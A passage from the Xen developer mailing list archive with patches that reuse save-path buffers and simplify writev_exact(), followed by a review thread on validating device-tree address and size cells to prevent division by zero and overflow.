-    types = malloc(nr_pfns * sizeof(*types));
+    types = ctx->save.buffers->types;
     /* Errors from attempting to map the gfns. */
-    errors = malloc(nr_pfns * sizeof(*errors));
+    errors = ctx->save.buffers->errors;
     /* Pointers to locally allocated pages.  Need freeing. */
-    local_pages = calloc(nr_pfns, sizeof(*local_pages));
+    local_pages = ctx->save.buffers->local_pages;
+    memset(local_pages, 0, sizeof(*local_pages) * nr_pfns);
     /* iovec[] for writev(). */
-    iov = malloc((nr_pfns + 2) * sizeof(*iov));
+    iov = ctx->save.buffers->iov;
     /* page_data record PFNs list */
-    rec_pfns = malloc(nr_pfns * sizeof(*rec_pfns));
-
-    if ( !mfns || !types || !errors || !local_pages || !iov || !rec_pfns )
-    {
-        ERROR("Unable to allocate arrays for a batch of %u pages",
-              nr_pfns);
-        goto err;
-    }
+    rec_pfns = ctx->save.buffers->rec_pfns;
 
     iov[0].iov_base = &hdrs;
     iov[0].iov_len = sizeof(hdrs);
@@ -253,13 +247,10 @@ static int write_batch(struct xc_sr_context *ctx)
     if ( guest_mapping )
         xenforeignmemory_unmap(xch->fmem, guest_mapping, nr_pages_mapped);
     for ( i = 0; local_pages && i < nr_pfns; ++i )
+    {
         free(local_pages[i]);
-    free(rec_pfns);
-    free(iov);
-    free(local_pages);
-    free(errors);
-    free(types);
-    free(mfns);
+        local_pages[i] = NULL;
+    }
 
     return rc;
 }
@@ -793,8 +784,8 @@ static int setup(struct xc_sr_context *ctx)
 
     if ( !ctx->save.buffers || !dirty_bitmap || !ctx->save.deferred_pages )
     {
-        ERROR("Unable to allocate memory for dirty bitmaps, batch pfns and"
-              " deferred pages");
+        ERROR("Unable to allocate memory for dirty bitmaps, deferred pages"
+              " and various batch buffers");
         rc = -1;
         errno = ENOMEM;
         goto err;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:44:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:44:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357591.1611973 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQo-0007GU-KX; Thu, 09 Jul 2026 07:44:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357591.1611973; Thu, 09 Jul 2026 07:44:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQo-0007Fd-GZ; Thu, 09 Jul 2026 07:44:26 +0000
Received: by outflank-mailman (input) for mailman id 1357591;
 Thu, 09 Jul 2026 07:44:25 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whjQn-00074a-I9
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:44:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whjQm-00Ca40-VM
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:24 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f5158-e002-0a2a0a5209dd-0a2a450ca7e4-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:24 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f5158-f399-0a2a450c0019-d155802cd443-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:24 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493e8d4f4dcso7714105e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 00:44:24 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6f3b85sm69114695e9.2.2026.07.09.00.44.23
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 09 Jul 2026 00:44:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783583064; x=1784187864; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Acb+KBsW3mKtkw9510ffwdV80EN7Kf7SNHo6XfWGcqM=;
        b=b8MyR2yuRgmpuruk6+Ujgv1BNLrEIiq87Ez+C/btWfjRh2/VOA4yWbS29yh6b1alCR
         zL7x2HM4MvFUh6+ldhNQtvEYkzvXjDLPON0EFdWMVWUYbFwFXP2mfReUfl68KL6AF6TD
         CWFquqi7QxW1jcQa0Ba3zkXL1yg3ICK5MxoDbapHH0DMciV4XlI7ebz17PaWkpgL2fHC
         e1WfWVh6YqmWHESklDH3uYtU832eG7kblvoHTMNSrKNg6XwDdgalSzzJxqXxRSkwrlLw
         YpRHOvGsEQy72fEjDlcrnCIA6b0VxyYXqguY/FNwET2yPogXcRDPtVhajSq1HT2smBcw
         QCsQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783583064; x=1784187864;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=Acb+KBsW3mKtkw9510ffwdV80EN7Kf7SNHo6XfWGcqM=;
        b=ANHvXXOQBIA/HKIG+9Czbgxy1mr9zQsZNZ+atxhdcbRFqUzNiIR3HmiWi8ZGBRzsru
         Ede6GT4CVL2TFKWFRNrnJnZnM7qJtwGCtJQcJLDjqe0F5znKtk1Evspy5svlao4Nz3D+
         r7vYbkTfbJscWoYig4W176LNYrysnL/TFSL+LFcNgrTk/px3TIGBKHkPIHbrxu8WD+8S
         /L8rGqsWP5WqkFMUheAhX9hpjAwovODYbKExd6oyyM7JiFyCI0I7hBzFo1L1Aoc/7+a5
         AGemRJ4R1tcGzNHNO7NJ7hT9bwcPTGlVaXNC9uxoaPTMjjcFohoNJTvwLJ0dUhHpfDqg
         2THw==
X-Gm-Message-State: AOJu0YzQ4bDdR6TUfgtPvOT0rJGBa+7rqft/WIVimC8rP6dAJCbs7PCc
	uDiibfN8NsryUnZQ8e/Eh3uwfYmG36prCbHI0rwiPP+GCUfJjsASQvr0GMIhMhV2Png=
X-Gm-Gg: AfdE7ckaKKVvClVRRsDW62TD66aCcnBt8TtLb+EtKIVWQ0VUc4SmSCFjnC2nZX6lhBQ
	NNGzOhlcI7xcqyDPtcWoucXrdoysN8IgyHz0OZRrrS6AjgTtak2xf1ve97HQCQV0BVnMTd3lqD7
	06qYMAgElevV5pD83yJb26zeX8SDUmRMf2dJa/zAcYMlo0PkOByWfTJhHNqklPVD8z2yD7ySaK8
	NdUZySOGRJiUTspzF+MAE5flUhG8fHY0h1bClkK1wktxVLOk3DbV2rCDOgSYnYR5+mBTXYk8YBY
	oE+ajLVhd0f8odI2HjSjht0OKlHLeBuAiaVyWn3X5Ocl52ON+iy5JUS3M4iPaVqlwOnzU7p2yjt
	SCfnzT3Nv2fEvu4X1eisF/a39TV0W1+twuZCxZcHq90fNe1OBC2EB+l3bshdaSzOfxaeQYBrfVn
	pZlLQ0od3lnxHB3zBF/JamkPdfYnSdpTcR0blsITz2iCQP0NV82aZwp0aH3OpRaWzQKrg4i81Wc
	uiZKkoHAWRxgXROd1U=
X-Received: by 2002:a05:600d:844f:20b0:493:c77c:108a with SMTP id 5b1f17b1804b1-493e68a1dc1mr43255775e9.36.1783583063974;
        Thu, 09 Jul 2026 00:44:23 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v7 2/6] libs/ctrl: Allow writev_exact() to change the iov array
Date: Thu,  9 Jul 2026 08:43:53 +0100
Message-ID: <20260709074358.256084-3-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709074358.256084-1-frediano.ziglio@citrix.com>
References: <20260709074358.256084-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783583064-0F737D51-67959FFE/0/0
X-purgate-type: clean
X-purgate-size: 4311

Avoid having to allocate and copy the array if a partial write happens.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v2:
- change prefix in subject.

Changes since v6:
- use a single loop to skip IOVs;
- add a comment to the function.
---
 tools/libs/ctrl/xc_private.c | 65 +++++++++---------------------------
 tools/libs/ctrl/xc_private.h |  3 +-
 2 files changed, 17 insertions(+), 51 deletions(-)

diff --git a/tools/libs/ctrl/xc_private.c b/tools/libs/ctrl/xc_private.c
index bb0f81d6f3..89ec68a183 100644
--- a/tools/libs/ctrl/xc_private.c
+++ b/tools/libs/ctrl/xc_private.c
@@ -635,7 +635,7 @@ int write_exact(int fd, const void *data, size_t size)
 /*
  * MiniOS's libc doesn't know about writev(). Implement it as multiple write()s.
  */
-int writev_exact(int fd, const struct iovec *iov, int iovcnt)
+int writev_exact(int fd, struct iovec *iov, int iovcnt)
 {
     int rc, i;
 
@@ -649,70 +649,35 @@ int writev_exact(int fd, const struct iovec *iov, int iovcnt)
     return 0;
 }
 #else
-int writev_exact(int fd, const struct iovec *iov, int iovcnt)
+int writev_exact(int fd, struct iovec *iov, int iovcnt)
 {
-    struct iovec *local_iov = NULL;
-    int rc = 0, iov_idx = 0, saved_errno = 0;
-    ssize_t len;
+    int rc = 0, iov_idx = 0;
+    ssize_t len = 0;
 
     while ( iov_idx < iovcnt )
     {
-        /*
-         * Skip over iov[] entries with 0 length.
-         *
-         * This is needed to cover the case where we took a partial write and
-         * all remaining vectors are of 0 length.  In such a case, the results
-         * from writev() are indistinguishable from EOF.
-         */
-        while ( iov[iov_idx].iov_len == 0 )
-            if ( ++iov_idx == iovcnt )
-                goto out;
+        /* Check iov[] to see whether we had a partial or complete write. */
+        if ( len >= iov[iov_idx].iov_len )
+        {
+            len -= iov[iov_idx++].iov_len;
+            continue;
+        }
+
+        /* Partial write of iov[iov_idx]. */
+        iov[iov_idx].iov_base += len;
+        iov[iov_idx].iov_len  -= len;
 
         len = writev(fd, &iov[iov_idx], min(iovcnt - iov_idx, IOV_MAX));
-        saved_errno = errno;
 
         if ( (len == -1) && (errno == EINTR) )
             continue;
         if ( len <= 0 )
         {
             rc = -1;
-            goto out;
-        }
-
-        /* Check iov[] to see whether we had a partial or complete write. */
-        while ( (len > 0) && (iov_idx < iovcnt) )
-        {
-            if ( len >= iov[iov_idx].iov_len )
-                len -= iov[iov_idx++].iov_len;
-            else
-            {
-                /* Partial write of iov[iov_idx]. Copy iov so we can adjust
-                 * element iov_idx and resubmit the rest. */
-                if ( !local_iov )
-                {
-                    local_iov = malloc(iovcnt * sizeof(*iov));
-                    if ( !local_iov )
-                    {
-                        saved_errno = ENOMEM;
-                        rc = -1;
-                        goto out;
-                    }
-
-                    iov = memcpy(local_iov, iov, iovcnt * sizeof(*iov));
-                }
-
-                local_iov[iov_idx].iov_base += len;
-                local_iov[iov_idx].iov_len  -= len;
-                break;
-            }
+            break;
         }
     }
 
-    saved_errno = 0;
-
- out:
-    free(local_iov);
-    errno = saved_errno;
     return rc;
 }
 #endif
diff --git a/tools/libs/ctrl/xc_private.h b/tools/libs/ctrl/xc_private.h
index b5892ae8dc..8a325c17b0 100644
--- a/tools/libs/ctrl/xc_private.h
+++ b/tools/libs/ctrl/xc_private.h
@@ -383,7 +383,8 @@ int xc_flush_mmu_updates(xc_interface *xch, struct xc_mmu *mmu);
 /* Return 0 on success; -1 on error setting errno. */
 int read_exact(int fd, void *data, size_t size); /* EOF => -1, errno=0 */
 int write_exact(int fd, const void *data, size_t size);
-int writev_exact(int fd, const struct iovec *iov, int iovcnt);
+/* May alter @iov to cope with partial writes. */
+int writev_exact(int fd, struct iovec *iov, int iovcnt);
 
 int xc_ffs8(uint8_t x);
 int xc_ffs16(uint16_t x);
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:51:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:51:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357649.1612022 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjY0-0003Kk-Hi; Thu, 09 Jul 2026 07:51:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357649.1612022; Thu, 09 Jul 2026 07:51:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjY0-0003Kd-En; Thu, 09 Jul 2026 07:51:52 +0000
Received: by outflank-mailman (input) for mailman id 1357649;
 Thu, 09 Jul 2026 07:51:51 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whjXy-0003KW-R9
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:51:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whjXy-00CYOi-7J
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:51:50 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f530c-bab6-0a2a0a5309dd-0a2a45059828-32
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:51:49 +0200
Received: from [40.93.194.12]
 (helo=SN4PR0501CU005.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f5314-3cb2-0a2a45050019-285dc20c8b58-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:51:49 +0200
Received: from BN0PR04CA0103.namprd04.prod.outlook.com (2603:10b6:408:ec::18)
 by BY5PR12MB4274.namprd12.prod.outlook.com (2603:10b6:a03:206::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.16; Thu, 9 Jul
 2026 07:51:43 +0000
Received: from BN1PEPF0000467F.namprd03.prod.outlook.com
 (2603:10b6:408:ec:cafe::9) by BN0PR04CA0103.outlook.office365.com
 (2603:10b6:408:ec::18) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.11 via Frontend Transport; Thu, 9
 Jul 2026 07:51:43 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BN1PEPF0000467F.mail.protection.outlook.com (10.167.243.84) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Thu, 9 Jul 2026 07:51:43 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 02:51:43 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 02:51:43 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Thu, 9 Jul 2026 02:51:41 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=O+zIaUAl8ZYgmZfKsY3FWXT6HqRO4yR7b9IG0wI1Pvo5nKZ2s0lMFW2tgTEKSgaHQrcgrsjO2oCry6Ryakqw2Ash/ofT4onFQ9TwPw+puxHGS+qnkULEGIxPESqa8+IwBKZUZDQVbptsJd7eQZYsLpaCeRfGbp/GWgrqDRnwi1Shq6L84hF3LCz/cEmQuex+HVuTTrA2W+Yt9hUdmBsVZHCqpvoZpxUbaRb4e+vSjF8Hkvl8uObxvFAVYTq/3ovy+dcSO2hUJB9YEW2/DjvpFn8jPZ+PcPNYKQWhPFPfNPxRzU5Tj2Qs+MOIipE39eivr/3IU4Ga4+Guj36M2DdomA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=OdlTnJuCuSRZkqPm41++rOHaV2UyzJiUg7bv8itQLEY=;
 b=Nqsul5yVuuD4tN6EPYzfX1KE9G6nrNNWivpV0GeqF1iOMCSJTcb5HI/TQp130b34hagvNpKqzLT4g7fFVWvieVdqO3vMX1xIbdGpC1GOP4igpJKBLSJ37WDSBaCU6xyZkrc6qyMinBtwCnsgFDZkhn5MOg/UL9LNZnqDpGEsWRY87MHRLHu9X36qJgbRiuaOcSffMddu6A4z5W4A9AN4KzoYSulCVfGVBpLzLkgvZKWCFBvKFHG1pPOrMzowtRbg0mu40ZHbxtBLai3RuNmDMtBv89bjf4WfOqVjUV8T6Q3p4vjVC/nnVx4Ivp6NNWPg5fVLYKUntIjQ10I3L48oSA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=suse.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=OdlTnJuCuSRZkqPm41++rOHaV2UyzJiUg7bv8itQLEY=;
 b=KGW00p6JdduNopdbkwFGIDXNOGYydFBGuhMV//k5C0hTZHFog6aSxIwwaWLtru8fZgut20br4UP90nTPh8WBxpUvc5p+fa8qqPFh43TSOBAZtSWhdx22UNUKyI5nIvC99ODzMUpcg8Sb4J5IeKcWvgodSFYlcl1UKxONNFyL4Mo=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <1991978f-3d3e-4d23-8583-047ef9797d65@amd.com>
Date: Thu, 9 Jul 2026 09:51:41 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Jan Beulich <jbeulich@suse.com>, Dmytro Prokopchuk1
	<dmytro_prokopchuk1@epam.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, "Oleksii
 Kurochko" <oleksii.kurochko@gmail.com>
References: <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
 <e494980c-485e-4dc6-ba84-e40fd53442d6@gmail.com>
 <21ec0511-bf7e-44fa-b6f6-99d9c4085eda@suse.com>
 <c8769518-3f84-4c73-920d-975b7efaaf92@epam.com>
 <ec7bc0ef-e267-4240-ad73-13dd17e1575b@suse.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <ec7bc0ef-e267-4240-ad73-13dd17e1575b@suse.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN1PEPF0000467F:EE_|BY5PR12MB4274:EE_
X-MS-Office365-Filtering-Correlation-Id: d6111341-ed30-4ce1-0534-08dedd8eeb4c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|82310400026|36860700016|1800799024|18002099003|22082099003|4143699003|56012099006|11063799006|5023799004;
X-Microsoft-Antispam-Message-Info:
	zRt3SDdMHHO3FzFoZg7vbYHYah9wjJSoxgx5DBh4A5ImNmzeBKJzOQ6jZ4WZgAXgrzce2+IeM36asGXaFZOYQZQH33onflpoNKPbYPNMYH/qjrcAj4gUkrpJRd/noUzVqgQq6G4eAEhJogjqAbOsPetDg6GJaDTeIMfoZjx9BN4cxMREExeHE+YwfF+KEsrvlnUmlCQus/gomxMqrhhRizEtK1PnFqqTUQ91yOWSTzItzE5a0DTU/e4P5mz7zSYwAG/FUSrtl23AssZmyNYqWFCgYMgmIwJAYXt4f6lVf/zgd/KUj0rG4OvC1urT9Gm8yC53wEQBqh1z2BXjWiPj5p2eNpHMfEXImMpQl4jmZVWou11siXok5sgBKkzN4oCEomD8txOnt0BzKNUaGv4/BaSidTvYpto5qYYjT8b84dGctecQo2CnQPIpuzK2e83SKFZHf9i1n0pYwxXk8S6H0Vf/yYE0WB+16Wln7jZ112JfOwKKSqsi7a4HA8yACtGKomPISbwOXeCUbZOn7r3hUV20Va+lUpC4EkBEm1fzJpLh0iArYSDENGtKbpkVgduQbV4bn9vinH71yTUs1KQ/0+ZnQK1eShhopLchxKhaDFverzYZud+6IWmSxSOrU7pC+6fOhfDQ3AUFKvmtn7BvySGZHl2lwMxkHweV+E183aoSTHw164ZxxtzrhPjmNrAqB7Etco9xrvhWS/puGTFZjw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(23010399003)(82310400026)(36860700016)(1800799024)(18002099003)(22082099003)(4143699003)(56012099006)(11063799006)(5023799004);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	qztB/PPW13TxaGWEHW8hDVIOFnDME1g2XqX76okEtsc82a0pimPHZaeoNXg+nlvm8MUCwlRYaNZeozm/0QzSk6yWjrvnHW7Hp1ACqzmpv8mQhF9sIqMcn+anmEQXrfcXT4A15v9VdkesRU8TOkGJC5lFAz+K7KPogi6XaFpP1fQ8nHQ9+YJ/xNKJqRZqqGzWSPjsy1jvQqgY8ORyOsk1GCARC9PTR+twKaXiX7YjNvbRESq2HH30UGA9XOZAcxQEQ7X70sWDpviSQTaEWs7FiTBQU7F2X7/sOrxuLsX98fnBD4pnPQ0gIsYAqSk9sIW+Qpcv2YxAz41EITGKp6taK4bbWi0D/rms7w6qf6O4w7nm9pCjk8dmVb9sIw/VYRou5a0auo4C2zcuHKGasjduljbLTyMlgDoj0kzah57FS4KCDmT85GiAIP/iCKYL7V4W
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 07:51:43.5492
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: d6111341-ed30-4ce1-0534-08dedd8eeb4c
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN1PEPF0000467F.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BY5PR12MB4274
X-purgate-ID: tlsNG-c201ff/1783583509-1771B2B8-BD2184B3/0/0
X-purgate-type: clean
X-purgate-size: 2895



On 09-Jul-26 08:57, Jan Beulich wrote:
> On 08.07.2026 19:04, Dmytro Prokopchuk1 wrote:
>> Hello Jan,
>>
>> On 7/8/26 09:15, Jan Beulich wrote:
>>> On 07.07.2026 18:08, Oleksii Kurochko wrote:
>>>> On 7/7/26 5:16 PM, Dmytro Prokopchuk1 wrote:
>>>>> --- a/xen/common/device-tree/dom0less-build.c
>>>>> +++ b/xen/common/device-tree/dom0less-build.c
>>>>> @@ -154,6 +154,13 @@ static int __init handle_passthrough_prop(struct kernel_info *kinfo,
>>>>>    
>>>>>        /* xen,reg specifies where to map the MMIO region */
>>>>>        cell = (const __be32 *)xen_reg->data;
>>>>> +
>>>>> +    if ( (address_cells * 2 + size_cells) == 0 )
>>>>
>>>> Considering that this calculation happens second time here ...
>>>>
>>>>> +    {
>>>>> +        printk(XENLOG_ERR "Invalid address/size cells combination (both 0)\n");
>>>>> +        return -EINVAL;
>>>>> +    }
>>>>> +
>>>>>        len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>>>>>                                            sizeof(uint32_t));
>>>>
>>>> ... I think it would be nice to calculate that once.
>>>
>>> Hmm, originally I meant to simply stay silent here. But now that you say this,
>>> I'd like to express that I find this 2nd calculation of the same expression
>>> bogus. If the goal is to deal with both values being zero at the same time,
>>> check that (and nothing else). If instead the goal is to truly prevent the
>>> divisor expression from ending up 0, that (and not a shorter surrogate) would
>>> need checking. In particular, the multiplication by sizeof(uint32_t) can
>>> convert non-zero to zero.
>> Yes, you are right. Need to check whole expression.
>>>
>>> At that point the question then would be whether overflow (and hence
>>> truncation) in any of the involved expressions shouldn't also be detected /
>>> rejected.
>> Testing zero is useful, but not enough - the expression (address_cells * 
>> 2 + size_cells) * sizeof(*cell) can overflow and wrap around to a small, 
>> non-zero number. Source code analyze showed that Xen only supports cell 
>> sizes of 1 or 2, and there is a ASSERT_UNREACHABLE() in dt_read_number() 
>> which prevents from using wrong cell values in DEBUG builds.
>>
>> I would propose the next checking:
>>
>>      if ( address_cells < 1 || address_cells > 2 ||
>>           size_cells < 1 || size_cells > 2 )
>>      {
>>          printk(XENLOG_ERR "Invalid address/size cells combination\n");
>>          return -EINVAL;
>>      }
>>
>> This will cover zero check, and overflows.
> 
> It'll need to be the maintainers of this code to judge whether this is
> appropriate here.
It is but I would prefer to put it at the read side, not at the use side. Place
it in scan_pfdt_node() after `size_cells = device_tree_get_u32`.
The first call to scan_pfdt_node() passes defaults, so it is ok.

~Michal



